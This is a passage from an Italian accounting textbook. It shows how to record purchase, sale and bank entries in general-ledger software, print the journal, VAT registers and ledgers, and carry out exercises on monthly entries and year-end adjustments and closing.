Il rigo inserito può essere modificato, o annullato, se si seleziona il bottone grafico ☒. In questo caso si procede con l'inserimento del conto «banca x c/c», il quale appartiene al mastro «conti bancari». Questa volta, per comodità, non si inserisce l'importo.

Non avendo inserito l'importo, si può osservare che viene segnalato uno sbilancio; in particolare, viene suggerito che l'importo del conto «banca x c/c» dovrebbe essere aumentato per completare la scrittura. Si può ottenere automaticamente questa correzione, con il bottone grafico ⇑ che appare a fianco del valore mancante (se lo spazio orizzontale è ridotto, il bottone può apparire subito sotto il valore a cui si riferisce).

Al termine della scrittura si conclude selezionando il bottone grafico [INSERISCI!]. Da lì si passa automaticamente all'elenco delle scritture presenti in prima nota; in questo caso si tratta di una sola:

127.2.1.2 Seconda registrazione del 4 gennaio

Si richiede di registrare un acquisto, composto da un solo imponibile di 2000,00 € e con aliquota normale. La registrazione dell'acquisto richiede l'indicazione dei dati del documento e il riferimento al registro IVA relativo. Questa volta si sfrutta una causale già definita, la quale va poi confermata con il bottone grafico ✓:

Dopo la conferma, la causale interviene automaticamente nella richiesta dei dati del documento, per cui appaiono dei campi aggiuntivi, per l'indicazione dei dati del documento e per l'inserimento degli imponibili. Si procede con l'inserimento di questi dati:

Il rigo dell'imponibile, anche se è unico, va inserito selezionando il bottone ✓; i dati del documento, invece, non richiedono conferma. Si può osservare che i conti associati alla causale scelta risultano già compilati parzialmente; ciò che manca sicuramente è l'indicazione del fornitore, il quale va scelto cominciando dall'inserimento della parte iniziale del suo nome, oppure con due caratteri di percentuale ('%%'), se si è sicuri di avere un elenco ridotto di nomi.

Al termine si conferma con il bottone INSERISCI!, con il quale si viene mandati nuovamente all'elenco delle scritture esistenti in prima nota.

Inserisci un nuovo movimento contabile
Lista dei Movimenti Contabili
Num. record = 2

Causale contabile: [ ] Cerca | Mostra tutti

N.	Data di registrazione	Causale contabile	Descrizione	Protocollo	Numero	Importo	Elimina
2	04-01-2010	AFA	FATTURA DI ACQUISTO	1/1	123	2.400,00	✕
1	04-01-2010		Prelievo dal c/c bancario.			2.500,00	✕

127.2.1.3 Terza registrazione del 5 gennaio

La terza scrittura descrive una vendita, la quale può essere inserita in modo analogo a quanto visto in quella precedente, usando la causale «FAI», ovvero «fattura immediata a cliente». La figura mostra la maschera compilata completamente e pronta per l'inserimento:

Inserisci un nuovo movimento contabile

Data di registrazione	5 Gennaio 2010
Causale contabile	FAI - FATTURA IMMEDIATA A CLIENTE
Descrizione	FATTURA IMMEDIATA A CLIENTE
Dati del documento di riferimento	Si — Registro I.V.A. Fatture di Vendita — Operatore Somma

Dati del documento di riferimento

Sezione IVA	Numero	Protocollo	Data del documento	Cliente / Fornitore
1	1	1	4 Gennaio 2010	Alberoni & C. Scandicci

Movimenti I.V.A.

Imponibile	Aliquota I.V.A.	Imposta	Aggiungi rigo!
	IVA al 20%		
1000.00	IVA al 20%	200.00	

Movimenti Contabili

	Mastro	Conto	Importo	Dare/Avere	Aggiungi rigo!
	---------	---------		AVERE	
1	103-CREDITI V/CLIENTI	Alberoni & C.	1200.00	DARE	
2	420-VALORE DELLA PRODUZIONE/VENDITE E PRESTAZIONI	000006-Merci c/vendite	1000.00	AVERE	
3	215-DEBITI DIVERSI	000001-IVA ns/debito	200.00	AVERE	

Indietro ! | Totale DARE : 1200.00 | Bilanciato | Totale AVERE : 1200.00 | INSERISCI !

La conclusione è la stessa già vista per le altre scritture.

Inserisci un nuovo movimento contabile
Lista dei Movimenti Contabili
Num. record = 3

Causale contabile: [ ] Cerca | Mostra tutti

N.	Data di registrazione	Causale contabile	Descrizione	Protocollo	Numero	Importo	Elimina
5	05-01-2010	FAI	FATTURA IMMEDIATA A CLIENTE	1/1	1	1.200,00	✕
2	04-01-2010	AFA	FATTURA DI ACQUISTO	1/1	123	2.400,00	✕
1	04-01-2010		Prelievo dal c/c bancario.			2.500,00	✕

127.2.1.4 Quarta registrazione del 5 gennaio

Questa scrittura è simile alla seconda, con la differenza che si richiede l'aggiunta di un costo per bolli, il cui imponibile è escluso secondo l'articolo 15. Pertanto gli imponibili sono due: 1 000,00 € con aliquota normale; 14,60 € esclusi. Nella figura si vede il primo imponibile già inserito e il secondo in fase di immissione.

Rispetto ai conti proposti automaticamente dalla causale «AFA», ovvero «fattura di acquisto», è necessario aggiungere gli oneri fiscali diversi:

L'aggiunta degli oneri fiscali diversi fa però sbilanciare la scrittura e occorre intervenire per correggere il ricavo delle merci vendute:

Rimane poi da specificare il fornitore e quindi si può confermare l'inserimento della scrittura.

Movimenti Contabili

Mastro	Conto	Importo	Dare/Avere
1 212-DEBITI V/FORNITORI	Tutto hardware	1214.60	AVERE
2 330-COSTI DELLE MATERIE/MERCI	000004-Merci c/acquisti	1000.00	DARE
3 106-CREDITI DIVERSI	000001-IVA ns/credito	200.00	DARE
4 339-ONERI DIVERSI	000001-Oneri fiscali diversi	14.60	DARE

Totale DARE: 1214.60 Bilanciato Totale AVERE: 1214.60

Lista dei Movimenti Contabili

Num. record = 4

N.	Data di registrazione	Causale contabile	Descrizione	Protocollo	Numero	Importo
7	05-01-2010	AFA	FATTURA DI ACQUISTO	2/1	127	1.214,60
5	05-01-2010	FAI	FATTURA IMMEDIATA A CLIENTE	1/1	1	1.200,00
2	04-01-2010	AFA	FATTURA DI ACQUISTO	1/1	123	2.400,00
1	04-01-2010		Prelievo dal c/c bancario.			2.500,00

127.2.2 Stampa del giornale di contabilità generale

Avendo inserito le scritture in prima nota, è possibile stampare il giornale e altri documenti. Per produrre il giornale, si deve accedere alla funzione `Contabilità`, `Libro giornale`, specificando il periodo (in questo caso il mese di gennaio dell'anno scelto). Non va attivata la casella della stampa definitiva, perché se la si attiva, non è più possibile modificare le scritture relative nella prima nota.

Selezione per la visualizzazzione e/o la stampa dei Libro giornale

Stampa definitiva	☐	N. pagina iniziale	1
Dare (inizio)	0	Avere (inizio)	0
Data registrazione inizio	1 Gennaio 2010		
Data registrazione fine	31 Gennaio 2010		
Numero righe:	12		
Totale Dare	7.314,60	Totale Avere	7.314,60

Dopo la conferma, si deve attendere la produzione e visualizzazione di un file PDF, il quale rappresenta il giornale stesso. Da lì si può stampare effettivamente il documento su carta.

Azienda...
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F. 80011540269 P.I. 80011540269

Pagina 2010/1

Libro Giornale dal 01-01-2010 al 31-01-2010

Progr.	Data Reg.	Descrizione Operazione / Num. e Data Doc.	N.Conto	Nome Conto	Dare	Avere
1	04-01-2010	Prelievo dal c/c bancario.	108000030	Denaro in cassa	2.500,00	
2			197000020	Banca x c/c		2.500,00
3	04-01-2010	FATTURA DI ACQUISTO	212000001	Tutto hardware		2.400,00
4		n.123/1 del 03-01-2010	330000004	Merci c/acquisti	2.000,00	
5			106000001	IVA ns/credito	400,00	
6	05-01-2010	FATTURA IMMEDIATA A CLIENTE	103000001	Alberoni & C.	1.200,00	
7		n.1/1 del 04-01-2010	420000006	Merci c/vendite		1.000,00
8			215000001	IVA ns/debito		200,00
9	05-01-2010	FATTURA DI ACQUISTO	212000001	Tutto hardware		1.214,60
10		n.127/1 del 04-01-2010	330000004	Merci c/acquisti	1.000,00	
11			106000001	IVA ns/credito	200,00	
12			339000001	Oneri fiscali diversi	14,60	
TOTALI :					7.314,60	

127.2.3 Stampa dei registri delle fatture

Assieme al giornale di contabilità generale, vanno prodotti anche i registri delle fatture (o registri IVA). Dal momento che i dati sono già disponibili nella prima nota, per ottenere i registri delle fatture è sufficiente accedere alla funzione `Contabilità`, `Registri IVA`, specificando il tipo di registro e il periodo. Non va attivata la casella della stampa definitiva, perché se la si attiva, non è più possibile modificare le scritture relative nella prima nota.

Si procede con la stampa relativa alle fatture di acquisto, compilando in modo appropriato la maschera di selezione: si ottiene già un'anteprima dei contenuti del registro scelto.

Selezione per la visualizzazione e/o la stampa dei registri IVA

Registro IVA da stampare:	Fatture d'Acquisto	Sezione IVA	1
N. pagina iniziale	1	Stampa definitiva	☐
Descrizione	del mese di Gennaio 2010		
Data registrazione inizio	1 Gennaio 2010		
Data registrazione fine	31 Gennaio 2010		
Regime	Contabilità ordinaria	Stampa la copertina	☐
Indietro			ANTEPRIMA

Protocollo	Data - ID movimento	Descrizione documento	Cliente o Fornitore	Imponibile	Aliquota	Imposta
1	04-01-2010 id 2	FATTURA DI ACQUISTO n.123 di 03-01-2010	Tutto hardware	2.000,00	20.0	400,00
2	05-01-2010 id 7	FATTURA DI ACQUISTO n.127 di 04-01-2010	Tutto hardware	1.000,00	20.0	200,00
2	05-01-2010 id 7	FATTURA DI ACQUISTO n.127 di 04-01-2010	Tutto hardware	14,60	0.0	0,00
			TOTALE IVA al 20%	3.000,00	20.0%	600,00
			TOTALE ESCLUSA art. 15	14,60	0.0%	0,00
		TOTALE GENERALE	3.614,60	3.014,60		600,00
						STAMPA

Selezionando il bottone STAMPA! si ottiene il file PDF con il registro da stampare:

Azienda...
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F. 80011540269 P.I. 80011540269

Sezione IVA n.1 Pagina 2010/1

Registro degli acquisti del mese di Gennaio 2010

N.Prot.	Data Reg.	N.Documento/Descr.	Data Doc.	Ragione Sociale Fornitore	Imponibile	Perc.	Imposta	Totale
1	04-01-2010	123	03-01-2010	Tutto hardware				
		FATTURA DI ACQUISTO	cod. 1	IVA al 20%	2.000,00	20,00%	400,00	2.400,00
2	05-01-2010	127	04-01-2010	Tutto hardware				
		FATTURA DI ACQUISTO	cod. 1	IVA al 20%	1.000,00	20,00%	200,00	1.200,00
			cod. 4	ESCLUSA art. 15	14,60	0,00%	0,00	14,60

RIEPILOGO TOTALI PER ALIQUOTE					
cod	**descrizione**	**imponibile**	**%**	**imposta**	**totale**
1	**IVA al 20%**	**3.000,00**	**20.0%**	**600,00**	**3.600,00**
4	**ESCLUSA art. 15**	**14,60**	**0.0%**	**0,00**	**14,60**
TOTALE GENERALE		**3.014,60**		**600,00**	

Lo stesso procedimento vale per il registro IVA delle vendite:

Selezione per la visualizzazzione e/o la stampa dei registri IVA

Registro IVA da stampare:	Fatture di Vendita	Sezione IVA	1
N. pagina iniziale	1	Stampa definitiva	☐
Descrizione	del mese di Gennaio 2010		
Data registrazione inizio	1 Gennaio 2010		
Data registrazione fine	31 Gennaio 2010		
Regime	Contabilità ordinaria	Stampa la copertina	☐
Indietro			ANTEPRIMA

Protocollo	Data - ID movimento	Descrizione documento	Cliente o Fornitore	Imponibile	Aliquota	Imposta
1	05-01-2010 id 5	FATTURA IMMEDIATA A CLIENTE n.1 di 04-01-2010	Alberoni & C.	1.000,00	20.0	200,00
			TOTALE IVA al 20%	1.000,00	20.0%	200,00
		TOTALE GENERALE	1.200,00	1.000,00		200,00
						STAMPA

Ecco il registro finale:

Azienda...
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F. 80011540269 P.I. 80011540269

Sezione IVA n.1 Pagina 2010/1

Registro delle fatture di vendita del mese di Gennaio 2010

N.Prot.	Data Reg.	N.Documento/Descr.	Data Doc.	Ragione Sociale Cliente	Imponibile	Perc.	Imposta	Totale
1	05-01-2010	1	04-01-2010	Alberoni & C.				
		FATTURA IMMEDIATA A CLIENTE	cod. 1	IVA al 20%	1.000,00	20,00%	200,00	1.200,00

RIEPILOGO TOTALI PER ALIQUOTE					
cod	**descrizione**	**imponibile**	**%**	**imposta**	**totale**
1	**IVA al 20%**	**1.000,00**	**20.0%**	**200,00**	**1.200,00**
TOTALE GENERALE		**1.000,00**		**200,00**	

127.2.4 Partitario dei conti

Per produrre i partitari, ovvero le schede dei conti, si deve accedere alla funzione *Contabilità*, *Piano dei conti*, *Visualizza/stampa partitari*, specificando l'intervallo dei conti. A titolo di esercizio, l'esempio seguente riguarda tutti i conti movimentati, ma lo si visualizzi soltanto, **senza** poi **stampare effettivamente il file PDF che si genera**.

Selezione per la visualizzazzione e/o la stampa dei partitari

Data di stampa	31 Gennaio 2010	
Mastro inizio	100-CREDITI VS/SOCI	Seleziona tutto
Conto inizio	000001-Azionisti c/sottoscrizioni	
Mastro fine	598-BILANCI (TRANSITORI)	
Conto fine	000003-Risultato economico	
Data registrazione inizio	1 Gennaio 2010	
Data registrazione fine	31 Gennaio 2010	
Indietro		ANTEPRIMA

Conto	Num.Mov.	Descrizione	Dare	Avere	Saldo progressivo
103000001	1	Alberoni & C.	1.200,00	0,00	1.200,00
106000001	2	IVA ns/credito	600,00	0,00	600,00
108000030	1	Denaro in cassa	2.500,00	0,00	2.500,00
197000020	1	Banca x c/c	0,00	2.500,00	-2.500,00
212000001	2	Tutto hardware	0,00	3.614,60	-3.614,60
215000001	1	IVA ns/debito	0,00	200,00	-200,00
330000004	2	Merci c/acquisti	3.000,00	0,00	3.000,00
339000001	1	Oneri fiscali diversi	14,60	0,00	14,60
420000006	1	Merci c/vendite	0,00	1.000,00	-1.000,00

STAMPA

I conti indicati rappresentano il primo e l'ultimo, secondo il piano dei conti utilizzato, e si ottengono facilmente con il bottone grafico [SELEZIONA TUTTO]. Confermando si ottengono i conti usati nelle poche scritture realizzate, includendo i clienti e i fornitori.

127.2.5 Partitario selettivo

Il procedimento per la stampa del partitario, limitatamente ai clienti e ai fornitori, procede in modo analogo a quello dei conti nel complesso, selezionando però ciò a cui si è interessati. L'esempio seguente mostra la selezione del cliente Alberoni e poi quella del fornitore Tutto hardware. Anche in questo caso si eviti di stampare effettivamente i file PDF che si producono.

Selezione per la visualizzazzione e/o la stampa dei partitari

Data di stampa	31 Gennaio 2010	
Mastro inizio	103-CREDITI V/CLIENTI	Seleziona tutto
Conto inizio	Alberoni & C.	
Mastro fine	103-CREDITI V/CLIENTI	
Conto fine	Alberoni & C.	
Data registrazione inizio	1 Gennaio 2010	
Data registrazione fine	31 Gennaio 2010	
Indietro		ANTEPRIMA

Data	ID	Descrizione	N.Doc.	Data Doc.	Dare	Avere	Saldo progressivo
2010-01-05	5	FATTURA IMMEDIATA A CLIENTE	1	2010-01-04	1.200,00	0,00	1.200,00

STAMPA

Selezione per la visualizzazzione e/o la stampa dei partitari

Data di stampa	31 Gennaio 2010	
Mastro inizio	212-DEBITI V/FORNITORI	Seleziona tutto
Conto inizio	Tutto hardware	
Mastro fine	212-DEBITI V/FORNITORI	
Conto fine	Tutto hardware	
Data registrazione inizio	1 Gennaio 2010	
Data registrazione fine	31 Gennaio 2010	
Indietro		ANTEPRIMA

Data	ID	Descrizione	N.Doc.	Data Doc.	Dare	Avere	Saldo progressivo
2010-01-04	2	FATTURA DI ACQUISTO	123	2010-01-03	0,00	2.400,00	-2.400,00
2010-01-05	7	FATTURA DI ACQUISTO	127	2010-01-04	0,00	1.214,60	-3.614,60

STAMPA

127.2.6 Stampa del bilancio di verifica con le variazioni dei conti utilizzati

Si può ottenere un bilancio di verifica da *Fine anno*, *Bilancio*, specificando il periodo da prendere in considerazione. Ciò che appare in questo caso, avendo inserito solo poche scritture, è la variazione dei conti per tali scritture; diversamente, per avere un bilancio di verifica vero e proprio, occorrerebbe la contabilità precedente, partendo dall'apertura dei conti.

Bilancio - Libro Inventari

Stampa definitiva	☐	Numero prima pagina	1
Data Inizio Periodo	1	Gennaio	2010
Data Fine Periodo	31	Gennaio	2010
	Indietro	ANTEPRIMA !	

STAMPA BILANCIO - LIBRO INVENTARI !

Azienda...
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F. 80011540269 P.I. 80011540269

Pagina 1 di 2

BILANCIO DAL 01-01-2010 AL 31-01-2010

SITUAZIONE PATRIMONIALE AL 31-01-2010

ATTIVO				
103	CREDITI V/CLIENTI			
000001	Alberoni & C.	1.200,00		
			euro	1.200,00
106	CREDITI DIVERSI			
000001	IVA ns/credito	600,00		
			euro	600,00
108	DISPONIBILITÀ LIQUIDE			
000030	Denaro in cassa	2.500,00		
			euro	2.500,00
		TOTALE ATTIVO		4.300,00
		Perdita	==>	2.014,60
		TOTALE		6.314,60

PASSIVO				
197	CONTI BANCARI			
000020	Banca x c/c	2.500,00		
			euro	2.500,00
212	DEBITI V/FORNITORI			
000001	Tutto hardware	3.614,60		
			euro	3.614,60
215	DEBITI DIVERSI			
000001	IVA ns/debito	200,00		
			euro	200,00
		TOTALE PASSIVO		6.314,60

CONTO ECONOMICO DAL 01-01-2010 AL 31-01-2010

RICAVI				
420	VALORE DELLA PRODUZIONE/VENDITE E PRESTAZIONI			
000006	Merci c/vendite	1.000,00		
			euro	1.000,00
		TOTALE RICAVI		1.000,00
		Perdita	==>	2.014,60
		TOTALE		3.014,60

COSTI				
330	COSTI DELLE MATERIE/MERCI			
000004	Merci c/acquisti	3.000,00		
			euro	3.000,00
339	ONERI DIVERSI			
000001	Oneri fiscali diversi	14,60		
			euro	14,60
		TOTALE COSTI		

127.3 Verifica sulla gestione della contabilità generale (coge2)

Si registrino le operazioni seguenti in contabilità generale.

- **10 agosto**

  Il fornitore Tutto hardware ci invia fattura n. 250 del 07 agosto per l'acquisto di merci per 3000,00 € più IVA con aliquota normale. La fattura viene protocollata con il numero 20.

- **11 agosto**

  Si invia al cliente Alberoni fattura n. 31 per vendita di merci per 5000,00 € più IVA con aliquota normale. Il numero di protocollo coincide con il numero del documento; la data del documento è la stessa della data di registrazione.

- **12 agosto**

  Il fornitore Tutto hardware ci invia fattura n. 255 del 10 agosto per l'acquisto di merci per 3000,00 € più IVA con aliquota normale. Nella fattura ci addebita anche spese per bolli, per 20,00 €, che sono esclusi dall'IVA in base all'art. 15. La fattura viene protocollata con il numero 21; le spese per bolli vengono registrate con il conto «oneri fiscali diversi».

- **13 agosto**

  Il cliente Alberoni paga con assegno bancario una vecchia fattura per un importo complessivo di 3600,00 €. L'assegno viene messo nella cassa assegni.

- **14 agosto**

  Viene depositato l'assegno del cliente Alberoni nel conto corrente bancario dell'azienda. Dal piano dei conti va usato «banca x c/c», appartenente al mastro «conti bancari».

- **15 agosto**

  Si invia al cliente Alberoni fattura n. 32 per vendita di merci per 6000,00 € più IVA con aliquota normale. La data di emissione della fattura è la stessa della registrazione.

Si devono presentare: il giornale del mese di agosto, dell'anno scelto; i registri IVA degli acquisti e delle vendite del mese di agosto, dell'anno scelto.

Azienda...
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F. 80011540269 P.I. 80011540269

Pagina 2009/1

Libro Giornale dal 01-08-2009 al 31-08-2009

Progr.	Data Reg.	Descrizione Operazione / Num. e Data Doc.	N.Conto	Nome Conto	Dare	Avere
1	10-08-2009	FATTURA DI ACQUISTO	212000001	Tutto hardware		3.600,00
2		n.250/1 del 07-08-2009	330000004	Merci c/acquisti	3.000,00	
3			106000001	IVA ns/credito	600,00	
4	11-08-2009	FATTURA IMMEDIATA A CLIENTE	103000001	Alberoni & C.	6.000,00	
5		n.31/1 del 11-08-2009	420000006	Merci c/vendite		5.000,00
6			215000001	IVA ns/debito		1.000,00
7	12-08-2009	FATTURA DI ACQUISTO	212000001	Tutto hardware		3.620,00
8		n.255/1 del 10-08-2009	330000004	Merci c/acquisti	3.000,00	
9			106000001	IVA ns/credito	600,00	
10			339000001	Oneri fiscali diversi	20,00	
11	13-08-2009	Riscossione fattura	108000020	Assegni	3.600,00	
12			103000001	Alberoni & C.		3.600,00
13	14-08-2009	Depositato assegno nel conto corrente	197000020	Banca x c/c	3.600,00	
14			108000020	Assegni		3.600,00
15	15-08-2009	FATTURA IMMEDIATA A CLIENTE	103000001	Alberoni & C.	7.200,00	
16		n.32/1 del 15-08-2009	420000006	Merci c/vendite		6.000,00
17			215000001	IVA ns/debito		1.200,00
TOTALI :					27.620,00	27.620,00

Azienda...
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F. 80011540269 P.I. 80011540269

Pagina 2009/1

Registro degli acquisti del mese di Agosto 2009

N.Prot.	Data Reg.	Num-Sez/Descr.		Data Doc.	Ragione Sociale Fornitore	Imponibile	Perc.	Imposta	Totale
20	10-08-2009	250/1		07-08-2009	Tutto hardware				
		FATTURA DI ACQUISTO	cod. 1		IVA al 20%	3.000,00	20,00%	600,00	3.600,00
21	12-08-2009	255/1		10-08-2009	Tutto hardware				
		FATTURA DI ACQUISTO	cod. 1		IVA al 20%	3.000,00	20,00%	600,00	3.600,00
			cod. 4		ESCLUSA art. 15	20,00	0,00%	0,00	20,00

RIEPILOGO TOTALI PER ALIQUOTE					
cod	**descrizione**	**imponibile**	**%**	**imposta**	**totale**
1	**IVA al 20%**	**6.000,00**	**20.0%**	**1.200,00**	**7.200,00**
4	**ESCLUSA art. 15**	**20,00**	**0.0%**	**0,00**	**20,00**
TOTALE GENERALE		**6.020,00**		**1.200,00**	**7.220,00**

Azienda...
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F. 80011540269 P.I. 80011540269

Pagina 2009/1

Registro delle fatture di vendita del mese di Agosto 2009

N.Prot.	Data Reg.	Num-Sez/Descr.		Data Doc.	Ragione Sociale Cliente	Imponibile	Perc.	Imposta	Totale
31	11-08-2009	31/1		11-08-2009	Alberoni & C.				
		FATTURA IMMEDIATA A CLIENTE	cod. 1		IVA al 20%	5.000,00	20,00%	1.000,00	6.000,00
32	15-08-2009	32/1		15-08-2009	Alberoni & C.				
		FATTURA IMMEDIATA A CLIENTE	cod. 1		IVA al 20%	6.000,00	20,00%	1.200,00	7.200,00

RIEPILOGO TOTALI PER ALIQUOTE					
cod	**descrizione**	**imponibile**	**%**	**imposta**	**totale**
1	**IVA al 20%**	**11.000,00**	**20.0%**	**2.200,00**	**13.200,00**
TOTALE GENERALE		**11.000,00**		**2.200,00**	**13.200,00**

127.4 Verifica guidata sulla chiusura (coge3)

L'esercitazione riguarda operazioni da inserire nei giorni 30 e 31 dicembre. Nel 30 dicembre vengono inseriti i valori iniziali dei conti per mezzo di alcune scritture fittizie; nel 31 dicembre vengono registrati gli assestamenti, le scritture di chiusura dei conti economici, la determinazione dell'utile o della perdita e l'epilogo dei conti dello stato patrimoniale.

127.4.1 Inserimento della situazione dei conti, prima degli assestamenti

30 dicembre

Vengono effettuate alcune scritture fittizie (somiglianti vagamente a un'apertura) per attribuire ai conti le eccedenze attuali della contabilità.

Questa operazione viene effettuata solo per avere dei valori all'interno dei vari conti dei quali si fa la chiusura. È evidente che nella realtà è improbabile che un'azienda cominci una contabilità meccanizzata e subito dopo faccia una chiusura dei conti.

Bilancio di verifica dell'azienda in data 30 dicembre.

Dare		Avere	
cliente Emme	7763,90	fornitore Delta	18138,24
cliente Yankee	6291,60	fornitore ERREX	21031,42
cliente Zeta	7211,61	fornitore Domenichelli	101,15
banca X c/c	4338,00	cambiali passive	5431,00
cambiali attive	12835,80	debito per TFRL	9000,00
denaro in cassa	6670,30	fondo svalutazione crediti	1317,00
macchine d'ufficio	8000,00	debiti per imposte	1100,00
fabbricati	80000,00	fondo ammortamento fabbricati	22515,00
		istituti previdenziali	1485,00
		debito per IVA	1000,00
		patrimonio netto	69903,10
merci c/acquisti	60487,00	merci c/vendite	50912,00
costi di consulenze	2285,70	ribassi e abbuoni attivi	102,00
ribassi e abbuoni passivi	83,00		
salari e stipendi	3121,00		
oneri sociali	2670,00		
costi di trasporto	278,00		
Totale dare	202035,91	Totale avere	202035,91

- Contabilizzare la situazione dei conti con una scrittura nel giornale di contabilità generale.

Si suggerisce di dividere il lavoro in quattro scritture, come si vede nell'esempio seguente, tenendo conto che vanno fatte in prima nota di contabilità generale.

cliente Emme	situazione dei conti al 30 dicembre	7763,90	
cliente Yankee		6291,60	
cliente Zeta		7211,61	
banca X c/c		4338,00	
cambiali attive		12835,80	
denaro in cassa		6670,30	
macchine d'ufficio		8000,00	
bilancio di apertura			(calcolare)

terreni e fabbricati	situazione dei conti al 30 dicembre	80000,00	
merci c/acquisti		60487,00	
costi di consulenze		2285,70	
ribassi e abbuoni passivi		83,00	
salari e stipendi		3121,00	
oneri sociali		2670,00	
costi di trasporto		278,00	
bilancio di apertura			(calcolare)

bilancio di apertura	situazione dei conti al 30 dicembre	(calcolare)	
fornitore Delta			18138,24
fornitore Errex			21031,42
fornitore Domenichelli			101,15
cambiali passive			5431,00
debito per TFRL			9000,00
fondo svalutazione crediti			1317,00
debiti per imposte			1100,00

bilancio di apertura	situazione dei conti al 30 dicembre	(calcolare)	
fondo ammortamento fabbricati			22515,00
istituti previdenziali			1485,00
debito per IVA			1000,00
patrimonio netto			69903,10
merci c/vendite			50912,00
ribassi abbuoni attivi			102,00

127.4.2 Operazioni di assestamento

31 dicembre

Per la determinazione del reddito si tenga presente quanto segue.

1. L'ammortamento di mobili e attrezzature ufficio è del 20 %.
2. L'ammortamento dei fabbricati è del 3 %.

3. Si verifica che il fondo svalutazione crediti sia almeno pari al 3 % dei crediti commerciali (a cui appartengono anche i crediti verso i clienti). Se il fondo risulta inferiore, questo deve essere adeguato (incrementato in modo da raggiungere il valore della svalutazione prevista), altrimenti non si deve fare la scrittura.
4. L'accantonamento al fondo TFRL è di 651,79 €.
5. il totale delle fatture da emettere per merci già inviate è di 800,00 €;
6. il totale delle fatture da ricevere per merci ricevute è di 500,00 €;
7. le merci in rimanenza sono valutate 34 500,00 €;
8. le imposte dell'esercizio ammontano a 1 750,00 €.

- Registrare in contabilità generale le scritture di assestamento elencate.

Le registrazioni vanno effettuate **una per una e non raggruppate**.

ammortamento macchine d'ufficio	ammortamento...	(calcolare)	
fondo ammortamento macchine d'ufficio			(calcolare)

ammortamento fabbricati	ammortamento...	(calcolare)	
fondo ammortamento fabbricati			(calcolare)

svalutazione crediti	adeguamento del fondo...	(calcolare)	
fondo svalutazione crediti			(calcolare)

TFRL	accantonamento...	651,79	
debiti per TFRL			651,79

fatture da emettere	fatture da emettere...	960,00	
merci c/vendite			800,00
IVA n/debito			160,00

merci c/acquisti	fatture da ricevere...	500,00	
fatture da ricevere			500,00

merci	rimanenze...	34 500,00	
merci c/esistenze finali			34 500,00

imposte dell'esercizio	imposte d'esercizio...	1 750,00	
debiti per imposte			1 750,00

- Registrare in contabilità i giroconti di IVA, banche, e istituti previdenziali.

IVA n/debito	giroconto IVA...	(calcolare)	
debiti per IVA			(calcolare)

banche c/c attivi	giroconto banche...	(calcolare)	
banca X c/c			(calcolare)

istituti previdenziali	giroconto istituti previdenziali...	(calcolare)	
debiti v/istituti previdenzia-li			(calcolare)

127.4.3 Bilancio finale

Si deve procedere con la stampa del bilancio, secondo la forma stabilita dal codice civile. Lo si ottiene dalla voce `Fine anno`, `Bilancio CEE`.

- Stampare il bilancio finale.

Se si presentano errori che impediscono di ottenere il bilancio, questi vengono segnalati nell'anteprima. In tal caso, occorre correggere o completare le scritture che dovevano essere fatte prima di stampare il bilancio. Se tutto va bene, invece, si ottiene la stampa successiva.

Azienda...
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F.:80011540269 P.I.:80011540269

BILANCIO IV direttiva CEE dal 01-01-2009 al 31-12-2009

ATTIVO

B) IMMOBILIZZAZIONI:				
II - Immobilizzazioni materiali:				
	1) Terreni e fabbricati		euro	55.085,00
	4) Altri beni materiali		euro	6.400,00
		Totale II	euro	61.485,00
		Totale B	**euro**	**61.485,00**
C) ATTIVO CIRCOLANTE:				
I - Rimanenze:				
	4) Prodotti finiti e merci		euro	34.500,00
		Totale I	euro	34.500,00
II - Crediti:				
	1) Crediti verso clienti		euro	33.745,91
		Totale II	euro	33.745,91
IV - [illegible]				
	1) Depositi bancari e postali		euro	4.338,00
	3) Denaro e valori in cassa		euro	6.670,30
		Totale IV	euro	11.008,30
		Totale C	**euro**	**79.254,21**
		TOTALE DELL'ATTIVO		**140.739,21**

PASSIVO

A) PATRIMONIO NETTO:				
I - Capitale:				
	) Capitale sociale		euro	69.903,10
		Totale I	euro	69.903,10
IX - Utile (perdita) dell'esercizio:				
	) Utile (perdita) dell'esercizio		euro	10.487,51
		Totale IX	euro	10.487,51
		Totale A	**euro**	**80.390,61**
C) TRATTAMENTO DI FINE RAPPORTO DI LAVORO SUBORDINATO:				
	) Trattamento di fine rapporto di lavoro subordinato		euro	9.651,79
		Totale	euro	9.651,79
		Totale C	**euro**	**9.651,79**
D) DEBITI:				
	7) Debiti verso fornitori		euro	39.770,81
	8) Debiti rappresentati da titoli di credito		euro	5.431,00
	12) Debiti tributari		euro	4.010,00
	13) Debiti verso istituti di previdenza e sicurezza sociale		euro	1.485,00
		Totale	euro	50.696,81
		Totale D	**euro**	**50.696,81**
		TOTALE DEL PASSIVO		**140.739,21**

CONTO ECONOMICO DAL 01-01-2009 AL 31-12-2009

non class.				
	22) Imposte sul reddito d'esercizio		euro	(1.750,00)
		Totale	euro	(1.750,00)
		Totale non class.	**euro**	**(1.750,00)**
A) Valore della produzione:				
	1) Ricavi delle vendite e delle prestazioni		euro	51.629,00

Azienda...
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F.:80011540269 P.I.:80011540269

Pagina 2 di 2

BILANCIO IV direttiva CEE dal 01-01-2009 al 31-12-2009

	Totale	euro	51.629,00
	Totale A	**euro**	**51.629,00**
B) Costi della produzione:			
6)	Costi per materie prime, sussidiarie, di consumo e merci	euro	(60.885,00)
7)	Spese per servizi	euro	(2.563,70)
9a)	Salari e stipendi	euro	(3.121,00)
9b)	Oneri sociali	euro	(2.670,00)
9c)	Accantonamento al TFRL	euro	(651,79)
10b)	Ammortamento delle immobilizzazioni materiali	euro	(4.000,00)
11)	Variazione delle rimanenze di materie prime, sussidiarie, di consumo e merci	euro	34.500,00
	Totale	euro	(39.391,49)
	Totale B	**euro**	**(39.391,49)**
	UTILE (PERDITA) D'ESERCIZIO		**10.487,51**

127.4.3.1 Operazioni di chiusura

31 dicembre

Viene fatta la chiusura e riapertura dei conti.

- Selezionare la voce `Fine anno`, `Chiusura-apertura conti`, specificando la data di registrazione della chiusura e quella dell'apertura.

